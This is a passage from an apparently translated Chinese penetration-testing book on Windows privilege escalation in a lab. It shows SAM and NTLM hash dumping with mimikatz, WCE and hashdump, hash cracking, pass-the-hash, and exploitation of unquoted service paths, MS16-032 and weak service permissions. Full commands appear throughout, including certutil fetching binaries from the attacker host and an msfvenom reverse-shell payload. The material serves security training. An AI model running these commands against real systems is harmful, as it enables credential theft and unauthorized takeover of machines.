    C:\wamp\apps\phpmyadmin3.4.10.1\config.inc.ini.php

    如以下截图所示,这将揭示 phpMyAdmin 控制面板的访问凭证:

图 7.12 – phpMyAdmin 凭证

](Images/B17389_07_012.jpg)

图 7.12 – phpMyAdmin 凭证

我们现在应该已经拥有 phpMyAdmin 控制面板的根权限,并能够创建、修改和删除数据库内容。

现在我们已经控制了 MySQL 服务器和 WordPress 网站,我们可以开始导出 Windows 用户账户的哈希值,以提升我们的权限。

导出 Windows 哈希值

在本节中,我们将更详细地探讨 Windows 密码及其哈希方式。Windows 上的哈希导出过程可以通过各种技术和工具来完成,我们将在本节中探讨大部分技术。在开始使用任何工具或技术之前,我们需要简要了解 Windows 密码是如何存储的。

SAM 数据库

安全帐户管理器SAM)是一个负责管理 Windows 上用户帐户和密码的数据库。存储在 SAM 数据库中的所有密码都是经过哈希的。用户凭据的认证和验证由本地安全机构LSA)协助。

SAM 数据库存储在 Windows 注册表中,可以从以下位置访问:

HKEY_LOCAL_MACHINE\SAM

现在我们知道了 Windows 用户凭据存储的位置,我们需要更仔细地查看LanManLM)和 NTLM 认证。

LM 和 NTLM 哈希

LM 是由 IBM 开发的一种认证协议,并在 NT4.0 之前广泛应用于 Windows 操作系统。该协议用于加密用户密码,哈希过程可以分解为以下步骤:

  1. 密码通过将其分成两个七字符的块来转换为哈希。

  2. 所有字符都将转换为大写。

  3. 每个块都使用 56 位 DES 密钥进行加密。

LM 通常被认为是一种弱协议,容易被破解,主要原因如下:

  1. 56 位的 DES 密钥较弱,且相对容易破解。

  2. 由于字符会被转换为大写,因此通过暴力破解或字典攻击,破解过程相对简单。

  3. 使用 LM 的 Windows 版本对于用户帐户密码限制最多为 14 个字符。

现在我们了解了 LM 哈希的工作原理,我们可以看看 NTLM 哈希,它在安全性方面优于 LM。

NTLM 是一组在 Windows 中用于促进计算机之间认证的协议。认证过程涉及使用有效的用户名和密码来成功进行认证。

NTLM 认证操作基于客户端-服务器通信模型,并涉及握手过程,类似于 TCP 的三次握手。我们在上一章中探讨了 NTLM 认证过程,所以这里仅探讨 LM 和 NTLM 哈希的区别。

NTLM 操作基于挑战应答系统,哈希过程可以分解为以下步骤:

  1. 当用户帐户创建时,它会使用 MD4 哈希算法进行加密,而原始密码则被丢弃。

  2. 在认证过程中,用户名被发送到服务器。然后,服务器创建一个 16 字节的随机字符串并发送给客户端。这就是所谓的挑战。

  3. 客户端使用数据加密标准DES)算法加密该字符串与密码哈希,然后将其发送回服务器。这就是所谓的应答。

  4. 服务器接着将哈希后的字符串(应答)与原始数据进行比对。如果匹配,则完成认证。

下表突出了 LM 和 NTLM 之间的主要区别,以及每种协议如何处理加密:

现在我们已经了解了 LM 和 NTLM 哈希的工作原理,接下来可以开始探索在目标系统上转储哈希的过程。

使用 PwDump7

我们将使用的第一个工具是PwDump7.exe。它是一个 Windows 二进制程序,用于提取 SAM 数据库并转储哈希值。它需要在目标系统上本地运行。您可以通过以下链接下载该二进制文件:www.tarasco.org/security/pwdump_7/

下载二进制文件后,我们需要将其传输到目标系统。这可以通过 meterpreter 自动完成,方法是在 meterpreter shell 中运行以下命令:

上传 ~/Downloads/pwdump7/PwDump7.exe

或者,如果您使用的是标准命令行,我们需要在 Kali 虚拟机上设置一个 Web 服务器。这个服务器将用于托管二进制文件,以便我们可以在目标系统上下载它。可以按照这里概述的步骤来完成:

要在我们的 Kali 虚拟机上设置一个 Web 服务器,我们可以使用SimpleHTTPServer Python 模块来提供二进制文件。这可以通过在存储PwDump7.exe二进制文件的目录中运行以下命令来完成:

sudo python -m SimpleHTTPServer 80

要在目标系统上下载PwDump7.exe二进制文件,我们可以使用certutil工具。然而,在下载二进制文件之前,我们需要导航到一个具有读写权限的目录。在这种情况下,我们将导航到当前用户的桌面目录。

现在我们可以使用certutil工具将二进制文件从 Kali 虚拟机下载到目标系统。这可以通过在目标系统上运行以下命令来完成:

certutil -urlcache -f http:///PwDump7.exe PwDump7.exe

如下图所示,如果传输成功,二进制文件应该已经下载并保存为我们指定的名称:

图 7.13 – certutil 成功传输

图 7.13 – certutil 成功传输

我们还可以手动保存目标系统上 SAM 文件的注册表值,并使用 PwDdump 工具来转储哈希值。这可以通过在目标系统上运行以下命令来完成:

reg save hklm\sam c:\sam

如果操作成功,您应该会收到一条类似于下图所示的消息:

图 7.14 – 转储 SAM

图 7.14 – 转储 SAM

我们现在可以执行二进制文件,通过运行以下命令来转储哈希值:

.\PwDump7.exe -s

这将从 SAM 数据库中转储 Windows 哈希值,我们将在下一节中破解这些哈希值。

对于我们的目标系统,这种技术将无法工作。然而,它是一个有用的工具,适用于大多数 Windows 版本。

使用 SamDump2

我们还可以手动保存目标系统上 SAM 文件的注册表值,并使用 SamDump2 工具来转储哈希值。这可以通过运行以下命令来完成:

reg save hklm\sam c:\sam

如果操作成功,您应该会收到类似以下截图中突出显示的信息:

图 7.15 – 提取 SAM

](Images/B17389_07_015.jpg)

图 7.15 – 提取 SAM

我们现在可以将 SAM 文件从文件系统根目录下载到我们的 Kali 虚拟机。这可以通过 meterpreter 自动完成,运行以下命令:

download sam

如下截图所示,SAM 文件应该已下载到我们 Kali 主目录中:

图 7.16 – 下载 SAM 文件

](Images/B17389_07_016.jpg)

图 7.16 – 下载 SAM 文件

我们现在可以在 Kali Linux 上使用 SamDump2 工具从文件中提取哈希值。可以通过在 Kali 上运行以下命令来完成此操作:

samdump2 system sam

这将从 SAM 文件中提取哈希值,我们现在可以破解这些哈希以获取明文密码。

此过程也可以通过使用 hashdump meterpreter 命令来自动化,命令如下:

hashdump

如果成功,输出应该会显示系统上所有用户帐户的哈希值,如以下截图所示:

图 7.17 – Hashdump

](Images/B17389_07_017.jpg)

图 7.17 – Hashdump

在这种情况下,hashdump 命令会显示系统上所有用户帐户的哈希值。我们可以将这些哈希保存到名为 hashes.txt 的文件中,保存在我们的 Kali 虚拟机上。接下来,我们将讨论如何使用这些哈希值。

使用 Windows 凭据编辑器

另一个我们可以使用的强大工具是 Windows 凭据编辑器,也叫做 WCE。WCE 列出了登录会话及其对应的 NTLM 哈希。该二进制文件预装在 Kali 中,需要在目标系统上本地运行。

我们可以通过运行以下命令,使用 meterpreter 将二进制文件上传到目标系统:

upload /usr/share/windows-resources/wce/wce64.exe

如果您使用的是标准命令行 shell,可以使用 certutil 工具将二进制文件传输到目标系统。

将二进制文件传输到目标系统后,我们可以通过运行以下命令执行该二进制文件:

.\wce64.exe

这将输出一份登录会话及其对应哈希的列表,如以下截图所示:

图 7.18 – WCE 哈希

](Images/B17389_07_018.jpg)

图 7.18 – WCE 哈希

在这种情况下,我们只能提取当前登录用户的哈希值。

我们还可以使用 wce.exe 二进制文件来提取密码哈希及其对应的明文。这可以通过运行以下命令来完成:

.\wce64.exe -w

在这种情况下,我们获取了 vagrant 用户和 SSH 用户的哈希值和明文密码,如以下截图所示:

图 7.19 – WCE 明文密码

](Images/B17389_07_019.jpg)

图 7.19 – WCE 明文密码

我们还可以使用另一个很棒的 Metasploit 后渗透模块,从系统中提取密码哈希和访问令牌。将 Meterpreter 会话放到后台后,可以加载以下模块来执行此操作:

use post/windows/gather/credential/credential_collector

现在,我们需要配置该模块并更改相关的模块选项。在这种情况下,唯一需要配置的选项是SESSION选项。我们可以通过运行以下命令来设置SESSION选项:

set SESSION

以下截图概述了需要配置的模块选项,以便运行该模块:

图 7.20 – 模块选项

图 7.20 – 模块选项

现在,我们可以通过在 Metasploit 控制台中运行以下命令来启动该模块:

run

如果成功,模块应该会输出一个包含密码哈希和访问令牌的列表,可以用来提升我们的权限,如下图所示:

图 7.21 – 凭证编辑器

图 7.21 – 凭证编辑器

在这种情况下,我们从目标系统中获取了所有用户帐户的哈希值。接下来,我们将查看如何利用这些哈希值。

使用 mimikatz

我们还可以使用内置的 Mimikatz Meterpreter 模块(也称为 kiwi)。可以通过运行以下命令将其加载到 Meterpreter 中:

load kiwi

模块加载后,我们可以通过在 Meterpreter 会话中运行以下命令来转储 SAM 数据库的内容:

lsa_dump_sam

这将输出所有用户帐户及其相应的 NTLM 哈希值,如下图所示:

图 7.22 – Mimikatz 哈希

图 7.22 – Mimikatz 哈希

注意

Mimikatz 是一个开源应用程序,允许攻击者查看和保存 Windows 身份验证凭证,用于特权升级。

或者,你可以使用 Kali Linux 中预打包的 Mimikatz 可执行文件。该二进制文件需要在目标系统上本地运行,并可以通过 Meterpreter 自动上传到目标系统,方法是运行以下命令:

upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe

如果你使用的是标准命令 shell,可以使用certutil工具将二进制文件传输到目标系统。

注意

Mimikatz 需要提升的 shell 才能转储哈希值。

在将二进制文件传输到目标系统后,我们可以通过运行以下命令来执行该二进制文件:

.\mimikatz.exe

执行二进制文件后,我们需要提升权限才能访问 SAM 数据库。可以通过在 Mimikatz 提示符中运行以下命令来实现:

token::elevate

现在,我们可以通过在 Mimikatz 提示符中运行以下命令来转储 SAM 数据库的内容:

lsadump_sam

如果成功,你应该能从 SAM 数据库中检索到提取的哈希值,如下图所示:

图 7.23 – Mimikatz 哈希转储

图 7.23 – Mimikatz 哈希转储

现在你应该已经可以访问各种账户的密码哈希值了。然而,我们感兴趣的账户是管理员账户,因为它将为我们提供一个直接的途径,将我们的权限提升到最高级别。

在下一部分,我们将开始破解密码哈希的过程,并学习如何利用这些密码进行身份验证。

破解 Windows 哈希值

我们现在可以使用前一部分中提取的密码哈希进行合法身份验证。然而,在此之前,我们仍然需要破解这些哈希值以获得明文密码。

本节将分为两个主要子部分。第一部分将介绍使用 John the Ripper 破解 Windows 密码哈希的过程,而第二部分将涵盖身份验证的过程。

在我们开始提取和破解密码哈希之前,我们需要了解典型 Windows 哈希的结构。

如下图所示,哈希 ID 被分为四个部分:

图 7.24 – 哈希结构

图 7.24 – 哈希结构

这四个部分可以进一步分类如下:

  • 第一部分是用户名。

  • 第二部分是唯一的 RID。

  • 第三部分是 LM 哈希值。

  • 第四部分是 NTLM 哈希值。

现在我们了解了 Windows 哈希的组成部分,我们可以开始哈希破解过程。

使用 John the Ripper 破解 Windows 哈希值

John the Ripper 是一款开源的密码安全、审计和恢复工具,支持大量的哈希值和加密方式。在我们的案例中,我们将使用 John the Ripper 破解 Windows NTLM 哈希值。

John the Ripper 随 Kali Linux 一起预安装,第一步是将我们在哈希提取部分中提取的密码哈希保存到 Kali Linux 中的一个文件中,最好是 .txt 文件。

在我们的案例中,我们将文件命名为 hashes.txt 并将文件保存在 Kali Linux 的 Desktop 目录中。

文件内容应与以下类似:

图 7.25 – NTLM 哈希值

图 7.25 – NTLM 哈希值

注意

NTLM 哈希值不应出现在同一行,哈希文件中不应包含其他文本或字符串。

我们现在可以通过在 Kali Linux 中运行以下命令来开始使用 John the Ripper 破解哈希值:

sudo john –format=NT hashes.txt

这将启动哈希破解过程;任何破解成功的哈希值将与其对应的密码一起输出。需要注意的是,破解过程可能根据密码的长度和强度不同,可能需要几分钟到几个小时甚至几天的时间。

你可能还需要限制哈希文件中的哈希数量,只保留最重要的哈希,甚至是管理员账户的哈希。

在这个特定的案例中,John 破解了管理员vagrant用户账户的哈希值,如以下截图所示:

图 7.26 – 破解的哈希值

图 7.26 – 破解的哈希值

现在,我们已经获得了管理员账户的明文密码,可以开始身份验证过程。

身份验证

我们可以利用已导出的哈希和明文密码进行身份验证,从而获得特权访问。这个过程可以通过各种技术来实现。在本小节中,我们将讨论其中的一些方法。

使用传递哈希技术

我们将使用的第一个技术被称为传递哈希。它涉及使用已导出的哈希进行目标身份验证——在这个例子中是管理员哈希。这个攻击可以通过 Metasploit 模块自动化,该模块利用了 Windows 上的PsExec命令行工具。该工具允许你在远程系统上执行程序。

我们可以在将 meterpreter 会话置于后台后,在 Metasploit 中加载该模块,方法是运行以下命令:

使用 exploit/windows/smb/psexec

加载模块后,我们需要配置模块选项。在这种情况下,我们需要配置RHOSTS选项,并配置服务器消息块SMB)凭据。我们将SMBUser设置为Administrator,并将SMBPass选项设置为管理员哈希,如下截图所示:

图 7.27 – psexec 模块选项

图 7.27 – psexec 模块选项

配置好模块选项后,我们可以通过在 Metasploit 控制台中运行以下命令来启动模块:

运行

如下截图所示,如果模块成功运行,我们应该会收到一个具有提升权限的 meterpreter 会话:

图 7.28 – 传递哈希成功

图 7.28 – 传递哈希成功

这样,我们就成功地利用密码哈希提升了我们的权限。

使用 Remmina

在我们对目标进行初步的 Nmap 扫描时,发现远程桌面协议RDP)服务运行在默认配置端口,也就是3389。我们可以利用破解出的管理员账户明文密码来进行身份验证,并与服务器建立具有提升权限的远程桌面连接。

这可以通过使用像 Remmina 这样的 RDP 客户端来实现,Remmina 是 Kali Linux 中预装的工具。

你可以通过应用启动菜单或通过终端启动 Remmina。完成后,你需要输入目标的 IP 地址,如下截图所示:

图 7.29 – Remmina IP 配置

图 7.29 – Remmina IP 配置

在指定目标 IP 后,系统会提示你提供凭证进行身份验证。在这种情况下,我们将使用管理员凭证,如下图所示:

图 7.30 – Remmina 凭据

图 7.30 – Remmina 凭据

如果身份验证成功,我们应该会收到一个远程桌面会话,并且应该以管理员账户登录,并拥有提升的权限,如下图所示:

图 7.31 – Remmina RDP 会话

图 7.31 – Remmina RDP 会话

通过这些操作,我们已经成功地利用转储和破解的密码哈希值提升了权限。

现在,你应该已经熟悉了在文件中搜索和识别密码的过程,以及为了提升权限而转储和破解 Windows NTLM 哈希值的过程。

总结

在本章中,我们学习了如何在 Windows 配置文件中查找和识别密码,接着介绍了可以用于搜索特定字符串的各种工具。我们还讨论了如何在配置文件中查找和识别应用程序密码,以及如何使用这些凭证来扩展我们的控制范围。最后,我们深入探讨了如何转储 Windows NTLM 哈希值以及如何破解它们以提升权限。

在下一章中,我们将探讨通过利用各种 Windows 服务来提升权限的过程。

第八章:利用服务

现在你已经对 Windows 上常见的权限提升攻击向量有了较好的了解,我们可以更深入地研究 Windows 服务,并开始探索那些利用服务中的漏洞和配置错误来提升权限的技术。本章的目标是识别并利用 Windows 服务中常见的漏洞和配置错误。

我们将探讨识别和利用未加引号的服务路径和弱服务权限的过程,然后我们将看看如何利用 Windows 次级登录来提升我们的权限。我们还将深入研究识别和劫持丢失的动态链接库DLLs)的过程。

在本章中,我们将涵盖以下主要内容:

  • 利用服务和配置错误

  • 利用未加引号的服务路径

  • 利用次级登录

  • 利用弱服务权限

  • DLL 劫持

技术要求

为了跟随本章中的演示,你需要确保熟悉 Windows CMD 命令。

你可以在这里查看本章的代码示例:bit.ly/3utJTyI

利用服务和配置错误

Windows 利用各种服务来管理和维持标准系统功能,如启动服务、配置启动程序、身份验证和软件安装等等。我们的目标是找到这些服务中的漏洞和配置错误,从而提升我们的权限。

这个过程是动态的,因此将依赖于目标配置和部署的使用情况,主要是因为涉及的技术将依赖于特定服务的实现和配置。

鉴于这一过程的强大性质和所使用的技术,我们将使用我们在本书的第二章搭建我们的实验环境”中设置的 Metasploitable3 虚拟机。

这是因为 Metasploitable3 虚拟机运行在 Windows Server 2008 上,并且已配置为作为服务器运行,同时托管各种服务和应用程序。

这个强大的应用程序配置提供了一个非常现实的场景,可以实际演示我们将在本章中使用的工具和技术。

在我们开始之前,请确保你已经在目标系统上站稳了脚跟,并且能够通过命令行或 Meterpreter 会话访问该系统。

本章中使用的技术和工具将涉及利用本地 Windows 命令和特定的 Meterpreter 模块来自动化该过程的各个方面。

利用未加引号的服务路径

在启动或运行服务时,Windows 需要目标可执行文件的位置来执行。可执行文件的路径通常用引号括起来,这样 Windows 就能定位可执行文件的路径或位置。以下路径是一个安全的服务路径示例:

"C:\Program Files\OpenSSH\bin\cygrunsrv.exe"

如果可执行文件的路径没有被引号包围,Windows 将会搜索每个目录并执行每个文件,直到找到目标可执行文件。我们可以利用此漏洞,通过识别一个在管理员权限下运行且未被引号包围的服务来提升我们的权限。以下路径是我们可以利用的不安全服务路径示例:

C:\Program Files\OpenSSH\bin\cygrunsrv.exe

利用过程涉及生成并上传一个二进制文件到目标系统,当执行时,它将为我们提供一个提权的反向 shell 或 Meterpreter 会话。

可以按照以下步骤重现此技术:

  1. 该过程的第一步是识别未被引号包围的服务路径,可以通过使用Windows 管理工具WMIC)接口结合findstr工具来完成。在目标系统的 Windows 命令行中运行以下命令即可完成此操作:

    wmic service get name,displayname,pathname,startmode |findstr /i /v "c:\" |findstr /i /v """

    此命令将输出一个带有未加引号服务路径的服务列表;在我们的案例中,我们能够识别出许多未加引号的服务路径,且可以利用它们。如以下截图所示,我们可以利用 OpenSSH 服务路径:

    图 8.1 – 查找未加引号的服务路径

    图 8.1 – 查找未加引号的服务路径

    我们使用 OpenSSH 服务的原因是该服务需要管理员权限才能运行,因此它是在管理员用户下执行的。

  2. 下一步是检查目录权限,以确定我们是否能够写入或更改 OpenSSH 服务目录的内容。我们可以使用完整性控制访问控制列表icacls)工具检查目录的权限,通过运行以下命令:

    icacls "C:\Program Files\OpenSSH"

    如下截图所示,运行此命令会输出目录权限;在此案例中,系统上的标准用户具有写入权限,因此我们可以修改该目录的内容,因为我们是BUILTIN\Users组的成员:

    图 8.2 – 服务路径权限

    图 8.2 – 服务路径权限

    我们可以利用这个错误配置来提升权限,通过将 OpenSSH 可执行文件替换为反向 shell 二进制文件。一旦 OpenSSH 服务已启动或重新启动,反向 shell 二进制文件将被执行,而不是 OpenSSH 可执行文件。

    提示

    反向 shell 有效负载应该与我们尝试利用的服务名称相同,并且应该上传到我们之前确定的相应服务路径。

  3. 我们可以使用msfvenom生成 Meterpreter 有效负载并将其保存为可执行文件。可以通过在 Kali 中运行以下命令来实现:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LISTENER-IP> LPORT=<PORT> -f exe > /home/kali/Desktop/cygrunsrv.exe

  4. 在生成有效负载后,我们可以将其上传到 OpenSSH 服务路径,如下所示:

    C:\Program Files\OpenSSH\bin

  5. 在上传 Meterpreter 有效负载之前,我们需要更改原始二进制文件的名称。然而,建议在该过程没有按预期工作时备份原始二进制文件。可以通过在 Meterpreter 会话中运行以下命令删除原始可执行文件:

    删除 cygrunsrv.exe

  6. 我们现在可以通过运行以下命令,将 Meterpreter 可执行文件上传到目标的 OpenSSH 服务路径:

    上传 /home/kali/Desktop/cygrunsrv.exe

    如果你使用的是标准命令 shell,可以使用 certutil 工具将二进制文件传输到目标系统。

  7. 如下图所示,这将把 Meterpreter 可执行文件上传到 OpenSSH 服务路径:![图 8.3 – 上传 Meterpreter 有效负载]

    ](Images/B17389_08_003.jpg)

    图 8.3 – 上传 Meterpreter 有效负载

  8. 我们现在需要使用 Metasploit 设置 Meterpreter 监听器。这可以通过在 Metasploit 控制台中运行以下命令来完成:

    使用 /exploit/multi/handler

  9. 下一步是指定我们用 msfvenom 创建二进制文件时所使用的有效负载。这可以通过运行以下命令来完成:

    设置有效负载 /windows/x64/meterpreter/reverse_tcp

  10. 我们现在需要配置模块选项。在此情况下,我们需要配置 LHOSTLPORT 选项,如下图所示:![图 8.4 – Meterpreter 有效负载选项]

    ](Images/B17389_08_004.jpg)

    图 8.4 – Meterpreter 有效负载选项

  11. 在设置模块选项后,我们可以通过运行以下命令启动监听器:

    运行

    监听器将会监听来自我们使用msfvenom生成的有效负载的任何传入连接。

  12. 为了执行 Meterpreter 可执行文件,我们需要重启 OpenSSH 服务。这可以通过在 Windows 命令 shell 中运行以下命令来完成:

    sc stop OpenSSHd

    sc start OpenSSHd

  13. 如下图所示,这将重新启动 OpenSSH 服务,接着我们应该会在监听器上收到一个特权的 Meterpreter 会话:![图 8.5 – Meterpreter 会话]

    ](Images/B17389_08_005.jpg)

    图 8.5 – Meterpreter 会话

  14. 我们可以通过运行以下命令来验证我们是否有升级的 Meterpreter 会话:

    getuid

    如下截图所示,我们已成功提升权限,并应该具有具有管理权限的 Meterpreter 会话:

    图 8.6 – 未引用服务路径 Meterpreter 权限

    图 8.6 – 未引用服务路径 Meterpreter 权限

  15. 我们还可以通过使用 Metasploit 模块自动化流程来识别和利用具有未引用服务路径的目标服务,并自动上传一个提供我们升级 Meterpreter 会话的反向 shell 有效负载。这可以通过在 Metasploit 控制台中运行以下命令来完成:

    use exploit/windows/local/unquoted_service_path

    加载模块后,我们需要配置模块选项。在这种情况下,我们需要配置SESSION ID 和目标有效负载,如下截图所示:

    图 8.7 – 未引用服务路径模块选项

    图 8.7 – 未引用服务路径模块选项

  16. 在配置模块选项后,我们可以通过在 Metasploit 控制台中运行以下命令来启动模块:

    run

    如下截图所示,如果模块成功运行,我们应该收到一个具有提升权限的 Meterpreter 会话:

    图 8.8 – 未引用服务路径 Meterpreter 会话

    图 8.8 – 未引用服务路径 Meterpreter 会话

  17. 我们可以通过运行以下命令来验证我们是否有升级的 Meterpreter 会话:

    getuid

    如下截图所示,我们已成功提升权限,并应该具有具有管理权限的 Meterpreter 会话:

图 8.9 – 未引用服务路径 Meterpreter 权限

图 8.9 – 未引用服务路径 Meterpreter 权限

我们现在已成功通过未引用服务路径提升了权限,并可以探索利用次级登录句柄的过程。

利用次级登录

次级登录是 Windows 服务,管理员可以通过标准系统帐户执行管理任务。该服务可以通过影响以下 Windows 版本的固有漏洞而被利用:

  • Windows 7

  • Windows Server 2008

  • Windows 8.1

  • Windows Server 2012

  • Windows 10

利用过程利用了次级登录服务中句柄的不规范化,这可以允许用户复制系统服务线程句柄。

在本节中,我们将看看如何手动和自动利用 Metasploit 框架来利用此漏洞。然而,需要注意的是,利用需要满足一定的依赖关系才能使此过程正常工作:

  • 目标系统应该有两个或更多 CPU 核心。

  • 目标系统应运行 PowerShell V2.0 或更高版本。

有关此漏洞的更多信息,请参见:docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-032

在我们开始之前,请确保你已经在目标系统上占据了一个立足点,并通过命令行外壳或 Meterpreter 会话获取访问权限。

现在我们已经了解了利用过程的工作原理,我们可以看看如何利用这个漏洞来提升我们的权限:

  1. 我们已经深入了解了如何在第四章《执行本地枚举》中搜索和识别漏洞,并能够推断出 Metasploitable3 虚拟机易受此攻击。我们可以通过利用 Metasploit 模块来自动化利用过程,来开始这一过程。可以通过在 Metasploit 控制台中加载以下模块来实现:

    use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

    加载模块后,我们需要配置模块选项。在这种情况下,我们需要设置默认有效载荷、会话 ID、LPORTLHOST 选项,如下截图所示:

    图 8.10 – 次级登录句柄模块选项

    图 8.10 – 次级登录句柄模块选项

  2. 配置完模块选项后,我们可以通过在 Metasploit 控制台中运行以下命令来启动该模块:

    run

    如下截图所示,如果模块成功运行,我们应该会收到一个具有提升权限的 Meterpreter 会话:

    图 8.11 – 次级登录句柄利用成功

    图 8.11 – 次级登录句柄利用成功

  3. 我们可以通过运行以下命令来验证我们是否拥有提升权限的 Meterpreter 会话:

    getuid

    如下截图所示,我们已经成功提升了权限,并应当拥有一个具有管理员权限的 Meterpreter 会话:

    图 8.12 – 次级登录句柄 Meterpreter 权限

    图 8.12 – 次级登录句柄 Meterpreter 权限

  4. 另外,如果你无法通过 Meterpreter 会话访问目标系统,你可以编译利用程序并将其传输到目标系统。该漏洞的预构建利用程序二进制文件可以在这里找到:github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032

    如下截图所示,GitHub 仓库包含了一个 PowerShell 脚本和适用于 x64 和 x86 系统的预构建二进制文件:

图 8.13 – MS16_032 GitHub 仓库

图 8.13 – MS16_032 GitHub 仓库

然而,建议您自己分析并编译利用代码。该漏洞的源代码可以在这里找到:github.com/khr0x40sh/ms16-032

下载或编译二进制文件后,我们需要将其传输到目标系统。这可以通过以下过程来实现:

  1. 要在我们的 Kali 虚拟机上设置一个 Web 服务器,我们可以使用SimpleHTTPServer Python 模块来提供二进制文件。可以通过在存储ms16-032.exe二进制文件的目录中运行以下命令来实现:

    sudo python -m SimpleHTTPServer 80

  2. 或者,您也可以通过运行以下命令使用 Python 3 的http.server模块:

    sudo python3 -m http.server 80

  3. 现在我们可以使用certutil工具将二进制文件从 Kali 虚拟机下载到目标系统。可以通过在目标系统上运行以下命令来实现:

    certutil -urlcache -f http://<KALI-VM-IP>/ms16-032.exe ms16-032.exe

  4. 现在我们可以执行ms16-032.exe二进制文件。可以通过运行以下命令来实现:

    .\ms-16-032.exe

    如果二进制文件成功运行,您应该会收到类似于以下截图中突出显示的输出:

图 8.14 – MS16-032 手动利用

图 8.14 – MS16-032 手动利用

我们已经成功地通过手动和自动方式利用次级登录服务提升了权限。

现在,我们来看看如何识别和利用弱服务权限来提升我们的权限。

利用弱服务权限

此利用涉及利用配置不当的服务权限来提升我们的权限。此过程的目标是识别以SYSTEM或管理员权限运行的服务,并利用该服务的错误权限配置,通过BINARY_PATH_NAME参数执行任意命令。

我们可以利用这个漏洞将标准用户添加到本地管理员组,从而在系统上提升权限。

利用过程可以按照以下步骤进行:

  1. 该过程的第一步是识别标准用户可以访问的服务和应用程序。可以通过使用accesschk工具来简化此过程,该工具位于Sysinternals套件中。accesschk可执行文件可以从这里下载:docs.microsoft.com/en-us/sysinternals/downloads/accesschk

  2. accesschk可执行文件下载到我们的 Kali 虚拟机后,我们需要将其传输到目标系统。这可以通过 Meterpreter 运行以下命令来实现:

    upload /<PATH-TO-EXECUTABLE/accesschk64.exe

    如果你正在使用标准命令行,可以使用certutil工具将二进制文件传输到目标系统。

  3. 在将accesschk.exe二进制文件上传到目标系统后,我们可以通过运行以下命令列举标准用户可以访问的服务列表:

    .\accesschk64.exe -uwcqv "vagrant" * -accepteula

  4. 在我们的案例中,我们将使用标准的vagrant用户。如以下截图所示,命令应该输出具有SERVICE_ALL_ACCESS权限的服务列表:

    注意

    SERVICE_ALL_ACCESS权限允许系统上的任何用户控制并修改服务的参数。

    图 8.15 – accesschk 结果

    图 8.15 – accesschk 结果

    我们能够识别出具有SERVICE_ALL_ACCESS权限的大量服务。在我们的案例中,我们将主要针对 OpenSSH 服务,因为我们已经确认它以SYSTEM或管理员权限运行。

  5. 下一步是列举与服务及其相应参数相关的其他信息。这可以通过在 Windows 命令行中运行以下命令来完成:

    sc qc OpenSSHd

    如以下截图所示,命令将输出有关服务及其参数的信息:

    图 8.16 – 服务参数

    ](Images/B17389_08_016.jpg)

    图 8.16 – 服务参数

  6. 我们可以修改BINARY_PATH_NAME以执行任意命令。在我们的案例中,我们将把vagrant用户添加到本地管理员组。这可以通过运行以下命令来实现:

    sc config "OpenSSHd" binPath= "net localgroup administrators vagrant /add"

    如以下截图所示,如果操作成功执行,vagrant用户账户将被添加到本地管理员组,并应具备管理员权限:

    图 8.17 – 修改二进制路径

    ](Images/B17389_08_017.jpg)

    图 8.17 – 修改二进制路径

  7. 在修改二进制路径参数后,我们需要重新启动 OpenSSH 服务。这可以通过在 Windows 命令行中运行以下命令来完成:

    sc stop OpenSSHd

    sc start OpenSSHd

  8. 我们可以通过在 Windows 命令行中运行以下命令来验证vagrant用户账户是否已添加到本地管理员组:

    net localgroup administrators

    如以下截图所示,vagrant用户账户现在是本地管理员组的成员,并且具有管理员权限:

    图 8.18 – 本地管理员组成员

    ](Images/B17389_08_018.jpg)

    图 8.18 – 本地管理员组成员

  9. 这个过程也可以通过使用一个名为exploit/windows/local/service_permissions的 Metasploit 模块来自动化。我们可以通过在 Metasploit 控制台中运行以下命令来加载该模块:

    use exploit/windows/local/service_permissions

    加载模块后,我们需要配置模块选项。在本例中,我们需要设置默认的 payload、LHOSTLPORT 和会话 ID 选项,如以下截图所示:

    图 8.19 – 服务权限模块选项

    图 8.19 – 服务权限模块选项

  10. 配置模块选项后,我们可以通过在 Metasploit 控制台中运行以下命令来启动模块:

    run

    如以下截图所示,如果模块运行成功,我们应该会收到一个具有提升权限的 Meterpreter 会话:

    图 8.20 – 服务权限模块 Meterpreter 会话

    图 8.20 – 服务权限模块 Meterpreter 会话

  11. 我们可以通过运行以下命令来验证我们是否拥有提升权限的 Meterpreter 会话:

    getuid

    如以下截图所示,我们已经成功提升了权限,并且应该拥有一个具有管理员权限的 Meterpreter 会话:

图 8.21 – 服务权限 Meterpreter 权限

图 8.21 – 服务权限 Meterpreter 权限

我们已经能够通过手动和自动方式成功提升权限,利用了弱服务权限。

现在我们可以来看一下 DLL 劫持的过程以及如何利用它来提升我们的权限。

DLL 劫持

Windows DLLs 是在应用程序或服务启动时使用或调用的库。如果应用程序或服务无法找到所需的 DLL,我们可以强制应用程序或服务加载我们自己的 DLL,该 DLL 将运行任意命令以提升我们的权限。

为了使此过程有效,我们必须首先找到一个以 SYSTEM 权限运行的应用程序,并且该应用程序必须具有允许我们上传自定义 DLL 的适当路径权限。

应用程序可以从 Windows 上的不同路径加载 DLL,通常会遵循以下顺序:

  1. 应用程序路径或目录

  2. C:\Windows\System32

  3. C:\Windows\System

  4. C:\Windows

  5. C:\Program Files

  6. PATH 环境变量

我们还可以在没有定义路径的应用程序或服务的 DLL 上执行 DLL 劫持。以下代码片段是一个绝对路径的示例:

PATH = C:\Windows\System32\example.dll

如前面的代码片段所示,DLL 的路径已被指定,因此应用程序或服务知道准确的 DLL 位置。以下代码片段是一个没有定义路径的应用程序或服务 DLL 路径的示例,这可以被利用:

PATH = example.dll

为了理解这个过程,让我们看一个场景,详细解释并演示整个过程。

设置我们的环境

在本节中,我们将使用在本书第二章《设置我们的实验室》中设置的 Windows 7 SP1 虚拟机。我们还将设置一个易受攻击的服务,用于演示 DLL 劫持过程。

要开始设置环境,请按照以下步骤操作:

  1. 该过程的第一步是下载并运行一个 Windows 批处理脚本,在 Windows 7 虚拟机上执行。脚本可以从以下链接下载:raw.githubusercontent.com/sagishahar/lpeworkshop/master/lpe_windows_setup.bat

    这个脚本将负责设置将在本章演示中使用的各种易受攻击服务。

  2. 下载批处理脚本后,您需要以管理员权限执行它,具体操作请参见以下截图:图 8.22 – 设置脚本执行选项

    图 8.22 – 设置脚本执行选项

